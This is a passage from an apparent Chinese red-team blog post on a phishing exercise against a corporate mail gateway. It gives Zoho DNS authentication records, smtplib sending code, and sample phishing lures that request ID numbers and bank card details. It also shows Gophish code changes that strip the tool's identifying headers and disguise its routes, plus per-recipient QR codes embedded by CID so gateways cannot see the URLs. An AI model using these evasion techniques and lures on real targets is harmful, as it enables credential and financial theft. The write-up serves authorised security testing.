@  IN  MX  20  mx2.zoho.com.
@  IN  MX  50  mx3.zoho.com.

# 2. SPF记录（授权Zoho代发）
@  IN  TXT  &quot;v=spf1 include:zoho.com ~all&quot;

# 3. DKIM记录（邮件签名公钥）
zmail._domainkey  IN  TXT  &quot;v=DKIM1; k=rsa; p=MIGfMA0GCSqGDQEBAQUAA4GNADCBiQKBgQC...&quot;

# 4. DMARC记录（域名邮件政策）
_dmarc  IN  TXT  &quot;v=DMARC1; p=none; rua=mailto:dmarc@example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步骤3：验证配置&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;# 检查SPF记录
dig TXT phishing-domain.com +short
# 输出: &quot;v=spf1 include:zoho.com ~all&quot;

# 检查DKIM记录
dig TXT zmail._domainkey.phishing-domain.com +short
# 输出: &quot;v=DKIM1; k=rsa; p=MIGfMA0GCS...&quot;

# 检查DMARC记录
dig TXT _dmarc.phishing-domain.com +short
# 输出: &quot;v=DMARC1; p=none; rua=mailto:dmarc@example.com&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;步骤4：创建发件账户&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;邮箱地址: hr@phishing-domain.com
显示名称: 人力资源部
签名: 人力资源部 | phishing-domain.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;测试结果（可信域绕过成功）&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;第一轮测试：纯文本邮件&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 使用Zoho SMTP发送测试
import smtplib
from email.mime.text import MIMEText

msg = MIMEText(&quot;这是一封测试邮件&quot;, &apos;plain&apos;, &apos;utf-8&apos;)
msg[&apos;From&apos;] = &apos;hr@phishing-domain.com&apos;
msg[&apos;To&apos;] = &apos;target@189.cn&apos;
msg[&apos;Subject&apos;] = &apos;测试通知&apos;

server = smtplib.SMTP_SSL(&apos;smtp.zoho.com&apos;, 465)
server.login(&apos;hr@phishing-domain.com&apos;, &apos;password&apos;)
server.send_message(msg)
server.quit()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;结果&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;SMTP响应: 250 OK
189网关验证: SPF PASS, DKIM PASS
投递状态: 成功投递至收件箱
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;重大突破&lt;/strong&gt;：通过Zoho企业邮箱 + SPF/DKIM/DMARC配置，189是可以收到邮件的。&lt;/p&gt;
&lt;p&gt;正当我以为一切都结束的时候，给客户发，得到的回复依然是收不到。&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;1.3 第三次尝试：钓鱼模板发送（再次失败）&lt;/h3&gt;
&lt;p&gt;虽然可信域问题解决了，但当我发送真实钓鱼内容时，又遇到了新的拦截：&lt;/p&gt;
&lt;h4&gt;测试邮件（含钓鱼内容）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;From: hr@phishing-domain.com
To: target@189.cn
Subject: 【重要】2025年终奖发放通知

各位同事，您好：

现正式启动年终奖金发放信息核对工作！

请点击以下链接登录系统核对您的身份证号和银行卡信息：
http://portal.phishing-domain.com/verify?id=xxx

人力资源部
2025年12月28日
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;测试结果&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;&gt;&gt;&gt; MAIL FROM:&amp;#x3C;hr@phishing-domain.com&gt;
&amp;#x3C;&amp;#x3C;&amp;#x3C; 250 OK
&gt;&gt;&gt; RCPT TO:&amp;#x3C;target@189.cn&gt;
&amp;#x3C;&amp;#x3C;&amp;#x3C; 250 OK
&gt;&gt;&gt; DATA
&amp;#x3C;&amp;#x3C;&amp;#x3C; 354 Start mail input
&gt;&gt;&gt; [发送邮件内容...]
&amp;#x3C;&amp;#x3C;&amp;#x3C; 550
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138344-e5b0be.BYaH7lGc_Z1lG3Wd.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;图片344-e5b0bece-ec5b-4bf7-a10e-28c4c5af0df4&quot;&gt;&lt;/p&gt;
&lt;p&gt;这就很有意思了，众所周知大企业一般布有企业级邮件网关，那么他邮件网关到底是拦截的什么，是什么策略？这些我们都不得而知，只有一点点fuzz了。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;猜测失败原因&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 检测层 | 结果 | 详情 |
| --- | --- | --- |
| ✅ SPF验证 | PASS | Zoho授权发送 |
| ✅ DKIM验证 | PASS | 邮件签名有效 |
| ✅ 域名信誉 | PASS | Zoho企业邮箱可信 |
| ❌ &lt;strong&gt;内容检测&lt;/strong&gt; | &lt;strong&gt;FAIL&lt;/strong&gt; | 触发关键词过滤 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;猜测被拦截的关键词&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;❌ 主题: &quot;年终奖&quot;
❌ 正文: &quot;年终奖金&quot;、&quot;身份证号&quot;、&quot;银行卡&quot;
❌ 行为: &quot;请点击链接&quot;
❌ URL: &quot;verify&quot;路径
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;1.4 阶段性总结&lt;/h3&gt;
&lt;p&gt;经过几轮尝试，我得出以下结论：&lt;/p&gt;
&lt;h4&gt;已解决的问题&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;可信域检测&lt;/strong&gt; → 通过Zoho企业邮箱 + SPF/DKIM/DMARC配置绕过&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;IP信誉问题&lt;/strong&gt; → 使用Zoho的可信IP池&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SMTP握手&lt;/strong&gt; → 正常完成，不会在连接阶段被拒绝&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;仍存在的问题&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;内容关键词检测&lt;/strong&gt; → 189网关对邮件内容进行深度扫描&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;钓鱼模式识别&lt;/strong&gt; → &quot;点击链接+验证信息&quot;等模式被识别&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;URL路径检测&lt;/strong&gt; → &quot;verify&quot;、&quot;login&quot;等路径触发拦截&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;下一步策略&lt;/h4&gt;
&lt;p&gt;既然&lt;strong&gt;可信域问题已解决&lt;/strong&gt;，但&lt;strong&gt;内容仍被拦截&lt;/strong&gt;，我需要：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;对Gophish进行二次开发，去除工具指纹。&lt;/li&gt;
&lt;li&gt;继续FUZZ邮件内容找到网关盲区。&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;这也是本文后续章节的核心内容。&lt;/strong&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;0x02 二次开发阶段：去指纹化改造&lt;/h2&gt;
&lt;h3&gt;2.1 指纹分析&lt;/h3&gt;
&lt;p&gt;通过我能够发送成功的邮箱获取到未改造前的eml，我识别出以下Gophish特征：&lt;/p&gt;
&lt;h4&gt;邮件头特征&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-http&quot;&gt;X-Gophish-Contact: ...
X-Mailer: gophish
X-Gophish-Signature: ...
Message-ID: &amp;#x3C;...@gophish&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138411-69ef15.D8IZohgp_HbWnt.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;图片411-69ef15c5-813c-43b0-939f-0b3943ae7075&quot;&gt;&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h4&gt;URL特征&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;http://phish.test/?rid=aBc123
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138484-3f5301.C_wzfOK0_eolV.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;图片484-3f530126-51f5-4961-8e3e-79cd6f44dac6&quot;&gt;&lt;/p&gt;
&lt;h4&gt;服务端特征&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// 原始代码 controllers/phish.go
const ServerName = &quot;gophish&quot;

// HTTP响应头
Server: gophish
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2.2 改造策略&lt;/h3&gt;
&lt;p&gt;感觉特征有点多，基于分析结果，决定先把Gophish本身的特征改一下。&lt;/p&gt;
&lt;h4&gt;改造清单&lt;/h4&gt;
&lt;p&gt;| 模块 | 原始特征 | 改造方案 | 文件位置 |
| --- | --- | --- | --- |
| 邮件头 | &lt;code&gt;X-Gophish-*&lt;/code&gt; | 完全移除或伪造成业务头 | &lt;code&gt;models/email_request.go&lt;/code&gt; |
| Mailer | &lt;code&gt;X-Mailer: gophish&lt;/code&gt; | 伪造成常见邮件客户端 | &lt;code&gt;models/email_request.go&lt;/code&gt; |
| 服务端 | &lt;code&gt;Server: gophish&lt;/code&gt; | 移除或伪装成Nginx | &lt;code&gt;config/config.go&lt;/code&gt; |
| 追踪路由 | &lt;code&gt;/track&lt;/code&gt; | → &lt;code&gt;/resource/image/pixel.png&lt;/code&gt; | &lt;code&gt;controllers/route.go&lt;/code&gt; |
| 上报路由 | &lt;code&gt;/report&lt;/code&gt; | → &lt;code&gt;/api/v1/status&lt;/code&gt; | &lt;code&gt;controllers/route.go&lt;/code&gt; |
| 静态资源 | &lt;code&gt;gophish.css&lt;/code&gt; | → &lt;code&gt;app.css&lt;/code&gt; | &lt;code&gt;static/&lt;/code&gt;, &lt;code&gt;templates/&lt;/code&gt; |
| 404页面 | Gophish默认页面 | 伪造Nginx 404 | &lt;code&gt;controllers/phish.go&lt;/code&gt; |&lt;/p&gt;
&lt;h4&gt;核心代码改造&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;1. 移除服务端标识&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// config/config.go
type Config struct {
    AdminConf AdminServer   `json:&quot;admin_server&quot;`
    PhishConf PhishServer   `json:&quot;phish_server&quot;`
    // ServerName string     // 🔥 直接删除此字段
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;2. 邮件头特征处理&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;对比原版Gophish和修改后的版本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-diff&quot;&gt;// models/email_request.go - Generate()函数

 func (s *EmailRequest) Generate(msg *gomail.Message) error {
     // ... 前置代码 ...
     
-    // 原版Gophish：添加透明度标识头
-    msg.SetHeader(&quot;X-Mailer&quot;, config.ServerName)  // &quot;gophish&quot;
-    if conf.ContactAddress != &quot;&quot; {
-        msg.SetHeader(&quot;X-Gophish-Contact&quot;, conf.ContactAddress)
-    }
     
+    // 改进方案：完全不设置Gophish特征头
+    // 替代方案：添加常见的业务邮件头
+    msg.SetHeader(&quot;X-Priority&quot;, &quot;1&quot;)
+    msg.SetHeader(&quot;Importance&quot;, &quot;High&quot;)
+    msg.SetHeader(&quot;MIME-Version&quot;, &quot;1.0&quot;)
     
     // 解析自定义邮件头（用户可配置）
     for _, header := range s.SMTP.Headers {
         key, err := ExecuteTemplate(header.Key, ptx)
         value, err := ExecuteTemplate(header.Value, ptx)
         msg.SetHeader(key, value)
     }
     
     // ... 后续代码 ...
 }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138565-166e0f.DEPKMIX-_Rsib4.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;图片565-166e0f4a-bc12-4464-9eba-8ba70816ccda&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键改动&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;不设置&lt;/strong&gt; &lt;code&gt;X-Mailer: gophish&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不设置&lt;/strong&gt; &lt;code&gt;X-Gophish-Contact&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;不设置&lt;/strong&gt; &lt;code&gt;X-Gophish-Signature&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;添加&lt;/strong&gt; &lt;code&gt;X-Priority: 1&lt;/code&gt;（提升邮件优先级）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;添加&lt;/strong&gt; &lt;code&gt;Importance: High&lt;/code&gt;（标记重要邮件）会在邮箱里面自主设置为红色叹号&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;保留&lt;/strong&gt; 用户自定义邮件头功能（SMTP配置中可添加）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;说明&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;原版Gophish出于&quot;透明度&quot;考虑，会主动添加X-Gophish-*头标识自己&lt;/li&gt;
&lt;li&gt;我的改进方案是完全不设置这些头，让邮件看起来像普通业务邮件&lt;/li&gt;
&lt;li&gt;通过添加&lt;code&gt;X-Priority&lt;/code&gt;和&lt;code&gt;Importance&lt;/code&gt;头，模仿Outlook等客户端发送的重要邮件&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. 混淆追踪路由&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// controllers/route.go
func (ps *PhishingServer) RegisterRoutes() {
    router := mux.NewRouter()
    
    // 原始路由：router.HandleFunc(&quot;/track&quot;, ps.TrackHandler)
    // 新路由：伪装成静态资源
    router.HandleFunc(&quot;/resource/image/pixel.png&quot;, ps.TrackHandler)
    
    // 原始路由：router.HandleFunc(&quot;/report&quot;, ps.ReportHandler)  
    // 新路由：伪装成API端点
    router.HandleFunc(&quot;/api/v1/status&quot;, ps.ReportHandler)
    
    // 添加伪造的404处理
    router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;4. 伪造Nginx 404页面&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// controllers/phish.go
func (ps *Server) FakeNginx404(w http.ResponseWriter, r *http.Request) {
    w.Header().Set(&quot;Server&quot;, &quot;nginx/1.18.0&quot;)
    w.Header().Set(&quot;Content-Type&quot;, &quot;text/html&quot;)
    w.WriteHeader(404)
    
    html := `&amp;#x3C;!DOCTYPE html&gt;
&amp;#x3C;html&gt;
&amp;#x3C;head&gt;
    &amp;#x3C;title&gt;404 Not Found&amp;#x3C;/title&gt;
    &amp;#x3C;style&gt;
        body { font-family: Arial, sans-serif; text-align: center; padding: 50px; }
        h1 { font-size: 50px; }
    &amp;#x3C;/style&gt;
&amp;#x3C;/head&gt;
&amp;#x3C;body&gt;
    &amp;#x3C;h1&gt;404 Not Found&amp;#x3C;/h1&gt;
    &amp;#x3C;p&gt;nginx/1.18.0&amp;#x3C;/p&gt;
&amp;#x3C;/body&gt;
&amp;#x3C;/html&gt;`
    
    w.Write([]byte(html))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;5. 修改参数名称&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// models/campaign.go
// 将追踪参数从 rid 改为更常见的 id
const RecipientParameter = &quot;id&quot;  // 原: &quot;rid&quot;

&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6. 动态QR码功能开发&lt;/strong&gt;（借鉴EvilGophish）&lt;/p&gt;
&lt;p&gt;这是一个新增的需求。&lt;/p&gt;
&lt;p&gt;在测试过程中，猜测如果超链接被拦截，那就是检测的明文URL，于是借鉴了&lt;strong&gt;EvilGophish项目&lt;/strong&gt;，实现了&lt;strong&gt;动态QR码生成和CID嵌入&lt;/strong&gt;功能。&lt;/p&gt;
&lt;h4&gt;与原版Gophish的区别&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;原版Gophish的CID支持&lt;/strong&gt;（已有功能）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// models/maillog.go - Gophish原版
var embeddedFileExtensions = []string{&quot;.jpg&quot;, &quot;.jpeg&quot;, &quot;.png&quot;, &quot;.gif&quot;}

func addAttachment(msg *gomail.Message, a Attachment, ...) {
    if shouldEmbedAttachment(a.Name) {
        msg.Embed(a.Name, copyFunc)  // 🔹 静态CID嵌入
    } else {
        msg.Attach(a.Name, copyFunc)
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;使用方式&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;在模板编辑器中上传静态图片（如logo.png）&lt;/li&gt;
&lt;li&gt;在HTML中使用&lt;code&gt;&amp;#x3C;img src=&quot;cid:logo.png&quot;&gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;限制&lt;/strong&gt;：所有收件人看到相同的图片（问题就来了，没有办法追踪谁点击了）&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;strong&gt;改进&lt;/strong&gt;（基于EvilGophish）：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;//  动态生成每个收件人的专属QR码
func NewPhishingTemplateContext(...) {
    qrSize := ctx.getQRSize()
    if qrSize != &quot;&quot; {
        //  关键：根据收件人ID动态生成QR码
        qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
        qr = &quot;&amp;#x3C;img src=\&quot;cid:\&quot; + qrName + &quot;\&quot;&gt;&quot;
    }
    return PhishingTemplateContext{
        QR: qr,  //  每个收件人不同的QR码
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;核心区别&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 特性 | 原版Gophish | EvilGophish改进 |
| --- | --- | --- |
| &lt;strong&gt;CID嵌入&lt;/strong&gt; | 支持 | 支持 |
| &lt;strong&gt;图片类型&lt;/strong&gt; | 静态附件 | &lt;strong&gt;动态生成QR码&lt;/strong&gt; |
| &lt;strong&gt;个性化&lt;/strong&gt; | 所有人相同 | 每人专属（含个人ID） |
| &lt;strong&gt;URL跟踪&lt;/strong&gt; | 无法追踪 | QR码包含rid参数 |&lt;/p&gt;
&lt;h4&gt;为什么需要动态QR码？&lt;/h4&gt;
&lt;p&gt;根据EvilGophish和相关研究，QR码在钓鱼中具有独特优势：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;隐藏明文URL&lt;/strong&gt; - URL被编码为二维码图片，邮件网关的URL检测和沙箱分析无法直接提取&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提升可信度&lt;/strong&gt; - 企业邮件（年终奖、考勤）常用二维码，符合用户认知&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;绕过桌面安全&lt;/strong&gt; - 用户用手机扫描，手机浏览器安全警告较弱&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;绕过过滤器&lt;/strong&gt; - QR码是图片，不包含文本链接&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;实现过程（参考EvilGophish）&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-go&quot;&gt;// models/template_context.go

type PhishingTemplateContext struct {
    From        string
    URL         string
    QRBase64    string  //  新增：QR码Base64
    QRName      string  //  新增：QR码CID名称  
    QR          string  //  新增：QR码HTML
    BaseRecipient
}

func NewPhishingTemplateContext(ctx TemplateContext, r BaseRecipient, rid string) (PhishingTemplateContext, error) {
    // ... 前置代码 ...
    
    // 生成QR码
    qrSize := ctx.getQRSize()
    if qrSize != &quot;&quot; {
        qrBase64, qrName, err = generateQRCode(phishURL.String(), qrSize)
        qr = &quot;&amp;#x3C;img src=\&quot;cid:&quot; + qrName + &quot;\&quot;&gt;&quot;
    }
    
    return PhishingTemplateContext{
        QR: qr,  // 模板中使用 {{.QR}}
    }, nil
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;邮件中使用&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;p&gt;请扫描下方二维码登录：&amp;#x3C;/p&gt;
{{.QR}}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成的邮件结构：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;multipart/related
  ├─ multipart/alternative
  │   ├─ text/plain
  │   └─ text/html (&amp;#x3C;img src=&quot;cid:427968.png&quot;&gt;)
  └─ image/png (CID: 427968.png，Base64编码QR码)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;CID嵌入 vs 远程加载对比&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;方案1：CID内嵌（我们采用）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- 邮件HTML --&gt;
&amp;#x3C;img src=&quot;cid:427968.png&quot;&gt;

&amp;#x3C;!-- 邮件结构 --&gt;
Content-Type: multipart/related
  ├─ text/html
  └─ image/png
     Content-ID: &amp;#x3C;427968.png&gt;
     Content-Transfer-Encoding: base64
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;方案2：远程加载（不推荐）&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- 邮件HTML --&gt;
&amp;#x3C;img src=&quot;http://your-server.com/qrcode.png?id=xxx&quot;&gt;

&amp;#x3C;!-- 邮件结构 --&gt;
Content-Type: text/html
（图片存储在服务器，需HTTP加载）
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://s4u2self.cc/_astro/img-1767156138623-edbd87.mTazOF8t_Z1XXGNv.webp?dpl=dpl_GYJnZxw8bX1UN74bNgdzuTR3Ecck&quot; alt=&quot;图片623-edbd8777-c790-4528-a9e0-2bd7c6b3e463&quot;&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;对比分析&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;| 特性 | CID内嵌 | 远程加载 | 优势方 |
| --- | --- | --- | --- |
| &lt;strong&gt;避免&quot;显示图片&quot;提示&lt;/strong&gt; | ✅ 直接显示 | ❌ 需用户点击 | CID |
| &lt;strong&gt;隐藏服务器地址&lt;/strong&gt; | ✅ 无URL | ❌ 暴露域名 | CID |
| &lt;strong&gt;加载速度&lt;/strong&gt; | ✅ 即时显示 | ❌ 依赖网络 | CID |
| &lt;strong&gt;提升可信度&lt;/strong&gt; | ✅ 图片完整 | ❌ 可能显示占位符 | CID |
| &lt;strong&gt;邮件网关检测&lt;/strong&gt; | ✅ 仅检测Base64 | ❌ 检测外部URL | CID |
| &lt;strong&gt;追踪能力&lt;/strong&gt; | ❌ 无法追踪打开 | ✅ 可追踪加载 | 远程 |
| &lt;strong&gt;邮件大小&lt;/strong&gt; | ❌ 较大（含图片） | ✅ 较小 | 远程 |&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;关键优势解析&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;避免邮件客户端安全机制&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;Gmail/Outlook默认行为：
- 远程图片：显示&quot;点击显示图片&quot;横幅 
- CID图片：直接渲染，无需用户操作
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;&lt;strong&gt;隐藏钓鱼服务器地址&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;&amp;#x3C;!-- 远程加载：暴露服务器 --&gt;
&amp;#x3C;img src=&quot;http://phishing-server.com/qr.png&quot;&gt;
↓
邮件网关可直接扫描 phishing-server.com

&amp;#x3C;!-- CID嵌入：无URL暴露 --&gt;
&amp;#x3C;img src=&quot;cid:427968.png&quot;&gt;
↓
邮件网关只能看到Base64编码的PNG数据
&lt;/code&gt;&lt;/pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;&lt;strong&gt;提升邮件真实性&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;远程图片&lt;/strong&gt;：收件人需要主动点击&quot;显示图片&quot;，增加怀疑&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;CID图片&lt;/strong&gt;：邮件打开即完整显示，符合正常企业邮件习惯。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;p&gt;‍&lt;/p&gt;
&lt;h2&gt;0x03 困境：FUZZ机制&lt;/h2&gt;
&lt;h3&gt;3.1 新的拦截机制&lt;/h3&gt;
&lt;p&gt;其实做到上面的的工作，大部分情况下可以操作了，但是我仍然处于被拦截的情况，因为是黑盒测试，我无法收到邮件的反馈，只能按语义检测进行尝试绕过了：&lt;/p&gt;
&lt;h4&gt;邮件网关的语义检测机制&lt;/h4&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌─────────────────────────────────┐
│   入站邮件                      │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│   基础验证层                    │
│   • SPF/DKIM/DMARC              │
│   • IP信誉检查                  │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│   特征检测层（已绕过）         │
│   • 邮件头指纹                  │
│   • 已知钓鱼域名                │
└─────────────────────────────────┘
             ↓
┌─────────────────────────────────┐
│  语义分析层（可能是当前拦截点）   │
│   • NLP关键词检测               │
│   • 钓鱼模式匹配                │
│   • 上下文异常分析              │
└─────────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;拦截案例分析&lt;/h4&gt;
&lt;p&gt;我被拦截的邮件样本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;主题: 【重要】员工门户系统升级通知

尊敬的员工:

您好！为了提升系统安全性，IT部门将于本周末对员工门户进行升级。

请点击以下链接验证您的账户信息:
https://portal-verify.test/api/v1/status?id=xxx

如有疑问，请联系IT支持部门。

此致
IT部门
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;拦截原因分析&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;具有引导性词汇&lt;/strong&gt;: &quot;重要&quot;、&quot;升级&quot;、&quot;验证&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;行动引导&lt;/strong&gt;: &quot;请点击&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;案例模板&lt;/strong&gt;: &quot;验证账户信息&quot;是经典钓鱼话术&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;3.2 心路历程&lt;/h3&gt;
&lt;p&gt;此时我陷入了困境：如果单纯的是关键字检测，这个模板是客户定的，一时半会重改不太现实，等于说是模板改不了的情况下要如何实现发送。&lt;/p&gt;
&lt;p&gt;我不知道邮件网关的确切检测规则，纯粹靠猜测和试错。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;拦截原因猜测&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;| 检测层 | 触发点 | 详情 |
| --- | --- | --- |
| &lt;strong&gt;邮件头检测&lt;/strong&gt; | 通过 | X-Mailer、Subject编码正常 |
| &lt;strong&gt;纯文本检测&lt;/strong&gt; | 通过 | text/plain部分无敏感词 |
| &lt;strong&gt;HTML内容检测&lt;/strong&gt; | 拦截 | 检测到明文&quot;年终奖金&quot;、&quot;身份证&quot;、&quot;银行卡&quot; |
| &lt;strong&gt;URL检测&lt;/strong&gt; | 拦截 | 路径包含&quot;verify&quot;、&quot;status&quot; |
| &lt;strong&gt;行为模式&lt;/strong&gt; | 拦截 | &quot;点击链接&quot;+&quot;验证信息&quot;模式 |&lt;/p&gt;
&lt;p&gt;啥也不清楚，就此开蒙。&lt;/p&gt;
&lt;h3&gt;3.3 单变量Fuzz：定位拦截触发点&lt;/h3&gt;
&lt;p&gt;在知道邮件被拦截后，我需要精确定位&lt;strong&gt;到底是什么触发了189网关的拦截&lt;/strong&gt;。&lt;/p&gt;
&lt;h4&gt;单变量测试方法&lt;/h4&gt;
&lt;p&gt;基于smtp_block_tester.py脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-python&quot;&gt;# 单变量Fuzz测试脚本
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import time

def send_fuzz_test(subject, body, test_name):
